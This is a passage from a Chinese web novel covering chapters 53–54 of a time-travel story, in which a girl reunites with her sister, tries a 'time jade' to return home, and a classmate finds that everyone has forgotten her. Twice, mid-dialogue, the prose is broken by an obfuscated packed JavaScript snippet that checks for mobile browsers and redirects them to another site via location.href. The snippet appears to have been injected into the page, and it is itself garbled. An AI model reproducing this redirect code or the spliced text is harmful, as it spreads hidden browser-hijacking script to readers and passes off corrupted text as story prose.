沈安宴也没客气,坐到了对面的沙发上——真是好久没坐过这么舒服的沙发了。 沈安宴放松地躺了躺,很快又正起身,一副乖巧模样地朝对面问道:“沈总要找我来问什么?” 沈言飞从对方进门起,就一直留意观察,见对方咸鱼似的躺沙发上时,下意识扬了扬唇角,不过很快又收了回来,转而问道:“你怎么知道我姓沈?” 沈安宴道:“算出来的。” 沈言飞:“哦?你还会算命?” 沈安宴笑道:“昂,准得很,一卦一百,你要不要试试?不准不要钱。你跟我有缘,我可以先免费给你算一卦。” 沈言飞抬手道:“请。” 沈安宴:“嗯……你今天早上吃的是蓝莓吐司,还喝了牛奶。” 沈言飞挑眉:“说错了,吐司是芒果味的。” 沈安宴:“噫——少哄我,你不芒果过敏吗?” 沈言飞笑了,她姿态放松下来,往后一躺,问道:“行,还算准。那再算一卦,请问我家妹妹现在在哪儿?” 沈安宴“嘶”了一声:“这个算不成。” 沈言飞笑了:“噢——可惜,我想问的只有这个。” 沈安宴索性也不跟她装了,起身往对方旁边一坐,嚷嚷道:“不问就不问,钱还是要照给的!赶紧,一百块!” 她把手伸了出来。 沈言飞将自家妹妹的手重又推了回去,眼神有点怜悯:“还以为你要狮子大开口,要也不往多要,怎么,现在连一百都没有吗?” 沈安宴道:“是,挺可怜的。住一个月一千的房,吃一天不到五十的饭,还好学费有贫困补助,不然我连学都要上不起了。” 沈言飞脸上玩笑的表情一收,眉头轻轻皱起:“那你怎么不回家……” 她本想再添一句“看都瘦成什么样了”,结果仔细一瞧,嚯,也没见有多瘦。 于是话头一转,沈言飞无语道:“是一天五十的饭吃得挺香?” 沈安宴缩了缩脖子,解释道:“主要怕你们觉得我是神经病。” 好吧,也能理解,毕竟这事儿确实玄乎,谁也不可能一下子就信。 沈言飞又问道:“还有,不是说在上学吗,怎么又跑这里打工来了?” 沈安宴便说了“时间玉”的事情,解释道:“我想要这个。” 沈言飞点点头,没多问,只说:“行,我叫人拿过来。饿不饿?我先带你去吃饭。” 沈安宴立刻精神了:“走走走!哎,那我工作的事儿?” 沈言飞:“不用管,我叫人去处理。” 53. 初见 吃过晚饭,“时间玉”这件竞拍品已经被送到了沈言飞房间。 沈言飞朝盛着玉石的盒子扬了扬下巴:“你要的东西。” 沈安宴高兴起来,将盒子拿起,可要打开时又有些犹豫。 她不确定这块所谓的“时间玉”,是否能真的帮助自己回去。 如果不能的,那该怎么办。 不过似乎也不用太担心,毕竟她现在已经和姐姐相认,沈家家大业大,有足够的财力和人力帮自己找到回去的办法。 可…… 沈安宴不是个爱犹豫的人,没有线索时,她自然能全心全意去找线索。可当线索真的来到手上,她就不得不去考虑后续的问题了。 如果这块玉石头没用,穿越的事又太过玄乎——这的确是可遇不可求的,如果沈家对此也没有办法该怎么办? 沈安宴将自己的担忧说了出来。 沈言飞安慰道:“没事的,回不去就回不去,沈家还养不起你了?” 沈安宴却打了个寒颤。 她忍不住想到,如果真是这样,如果她真的没能回去…… 穿越前的时空,是否也存在着一个来自未来的沈安宴,就在暗处注视着她。 姐姐知道她的存在,母亲也知道她的存在,或许还有更多人。 而现在,她就是那个“来自未来的沈安宴”了。 或许如沈言飞所说,她自然可以就这么留在这个时空顺其自然地生活下去,等这里的沈安宴长大,到十九岁那年穿越到过去离开,然后她就可以顺理成章地出现在人们眼前,恢复原来的身份。 但这实在太可怕了。 沈安宴道:“我还是走吧。” 沈言飞也不知道自家妹妹在刚才一瞬间想了那么多事,还当对方是归乡心切,于是点点头道:“那你看看,这东西有没有用?” 沈安宴深呼吸一口气,将盒子打开了。 ———— 顾辞江盯着手机,心中罕见地升起一阵烦闷的情绪。 新年过后,自然就要走亲访友。他昨天给盛宴发去信息,询问对方愿不愿意来自己家做客,但一直到第二天,对方也没有回消息。 顾辞江抿了抿唇,安慰自己或许是对方有些忙,才没来得及回复。但直到第三天,第四天,第五天…… 盛宴依旧没有消息发过来。 这时候他已经不生气了,只剩下了忧心。联系不上对方,他又不清楚对方住处的具体地址。顾辞江惊觉,自己对盛宴的了解竟然这么少。 但现在也来不及想这些了,他犹豫一会儿,向贺晴天发去了信息,询问对方知不知道盛宴的情况。 对方很快就回复了他,顾辞江忙拿起手机,点进聊天界面浏览。 贺晴天:抱歉,我有些不明白。 贺晴天:盛宴是谁? 贺晴天:是下学期要转过来的同学吗?我好像没有听说过。如果你急着知道的话,我可以帮你问一下我们班主任。 …… 顾辞江盯着屏幕,神色有些迷茫。 ———— 海城一中,高二一班。 贺晴天揉了揉眉心,回到自己座位上。 林跃转身问道:“哎,二班那个顾辞江找你什么事儿?” 贺晴天有些无奈:“跟我打听人,哎,奇奇怪怪的。” 陈杉有些好奇:“什么人啊?” 贺晴天道:“一个叫盛宴的人,他说上个学期这个人转来咱们班,还是我同桌。” 林跃一脸迷惑:“啊?有这回事儿吗?” 贺晴天道:“他说的还真挺像那么回事儿的。” 陈杉挠挠头:“总觉得有点诡异……哎!” 她忍不住搓了搓胳膊:“你们说,不会真有这么一个人,只不过这个人只有顾辞江能看见……说不定她现在就在这里坐着,正听着咱们讲话……” 她正说着,肩膀忽然被人拍了拍,耳边响起一道阴恻恻的声音:“是啊……我正听着呢……” “啊啊啊!”陈杉被吓得蹦了起来。 贺晴天无奈道:“江小松,别乱吓人!” 江小松嘻嘻哈哈地给陈杉顺了顺背:“莫害怕莫害怕……哎,不过说到这个,我们班也知道这事儿。” 陈杉缓过神来,好奇问道:“哎,怎么说?” 江小松顺手撑在贺晴天隔壁的桌子上,慢慢讲道:“因为他也问我了,还有周天和李欣然,知不知道一个叫盛宴的人……” 江小松还想继续说,一本书拍在了她脑袋上。 陈愿道:“上课铃都打了多久了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16567952|181207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还搁这儿赖着,怎么,要留下来一块儿听数学课啊?” 江小松吐了吐舌头,麻溜滚出了教室。 只是在她离开时,林跃忽然反应过来,奇怪道:“哎,等下,我后边儿又没人,她刚过来和咱们说话的时候,为什么不直接坐下来,还要站着?” 陈杉也觉得不对:“是哦,咱们怎么也没人提醒一下?” 陈愿的声音又响起来了:“林跃,陈杉,嘀嘀咕咕说什么呢?来,上黑板做题。” 二人忙止了交谈,乖乖上去写数学题了。 贺晴天看了一眼身旁空荡荡的座位,目光在那里停留片刻,又收了回去。 ———— 顾辞江也在发呆。 这些天,他几乎将能问的人都问了个遍,但得到的结果只有一个。 没有任何人还记得盛宴这个人的存在。 不,甚至不止。 这一个学期以来大大小小的成绩排名表,医院的入住记录,竞赛入围名单,甚至是对方的课本、衣物、在校外的租房…… 全部都消失了。 好像盛宴这个人从来都没有存在过。 顾辞江用尽了所有他能想到的办法,也不得不承认这样的事实。 除非这的确是一场超自然事件,否则。 或许的确是他出了问题。 ———— 考试,升学,工作。 顾辞江没再和任何人谈论过“盛宴”的事情。 她曾在他的生命里留下过足够浓墨重彩的一笔,然后消失地无影无踪。 他难以形容自己对盛宴的感情——欣赏,崇拜,向往,她是一个足够耀眼的人,只要见过她,就再也不能忘怀。 至于剩下的,那些更为内敛,更为柔软的感情,被强行中断得太过突然,因此浓烈不得浓烈,消逝又不忍消逝,只能埋在心底,酝酿成了连顾辞江也分辨不出的形状。 ———— 直到他再次遇见她。 人群熙攘,车流拥挤,天上落雪了。 盛宴踩着雪,一步一步向他走来。 这么多年过去了,她依旧如记忆里一般,鲜活灿烂如同初见。 她的目光投了过来。 顾辞江忽然觉得,自己恍若仍置身在梦中。 54. 回家(完结) 自从打开那只盒子后,沈安宴觉得自己好像陷入了一场光怪陆离的梦境。 她下意识想喊沈言飞的名字,可无论怎么叫都不见对方应她。 有光亮显现,她睁眼发现自己来到了教室,贺晴天她们似乎在说着什么趣事,江小松拍了下陈杉的肩膀,把对方吓得大叫。 再一个眨眼,她又来到了常青山的别墅,这回眼前只有指导老师和梁小诺两个人。梁小诺似乎正朝老师说着什么话,指导老师漫不经心地听着,目光却扫过沈安宴站着的地方,而后朝她轻轻笑了笑。 别墅的身影渐渐散去,沈安宴来到了一家花店。花店老板正细心地插着花,一个乳牙还没长齐的小孩笑着满店跑,结果一不小心撞到了客人。 沈安宴仔细一看,客人竟是许医生。许医生将小孩扶了一把,问店长买花。店长似乎和许医生认识,见到对方忍不住流下泪来。 …… 这场梦境杂乱无章,有的沈安宴能懂,有的她却弄不明白。随后有一股拉力将她狠狠一拽,沈安宴从轻飘飘的悬浮状态中脱离,终于落到了地上。 耳边逐渐响起清晰的声音,似乎有人打开了房门,随后一只微凉柔软的手覆盖在了她的额头上,沈安宴闻到了淡淡的鸢尾花香。 只是她太累了,连睁眼说话的力气都没有,再次沉沉睡了过去。 …… “姐……你给我的那个破石头一点用都没有,还把我弄得又晕又恶心……” 沈安宴睁开眼,第一个看到的人就是沈言飞。她还没缓过来,接着晕过去前的记忆闷闷吐槽道。 沈言飞却没有说话,而是又摸了摸对方的额头,皱眉道:“不会烧傻了吧?怎么还说起胡话了?” 一旁的医生闻言忙道:“不会不会,连三十八度都没上,低烧而已,可能只是睡糊涂了。” 沈言飞道:“行吧。” 她看向自家妹妹,伸出两根手指。问道:“这是几?” 沈安宴:“……二。” 沈言飞松了口气:“噢,看来还没傻。” 沈安宴有点儿气:“你才傻了!你全家都傻了!” 沈言飞叹道:“完了,连自己都骂,这是真傻了。” 沈安宴:……还有完没完了! 她从床上坐起来,揉了揉酸痛的肩膀,同时说道:“哎,你记得跟我学校请个假,破石头看来是没用了,我得找找还有什么其它的办法……” 沈言飞面色越来越奇怪,她正想说什么,“笃笃”两声,卧室门被打开了。 沈安宴转头看去,接着诧异地睁大了眼睛,进来的人竟然是顾辞江? 她忙问道:“哎,辞江,你怎么来了,你不在海城吗……” 她话音忽然止住了。 沈安宴左看看,右看看,忽然发现,这不是顾辞江在京城的住处吗?再把自家姐姐和男朋友仔细看两眼,好像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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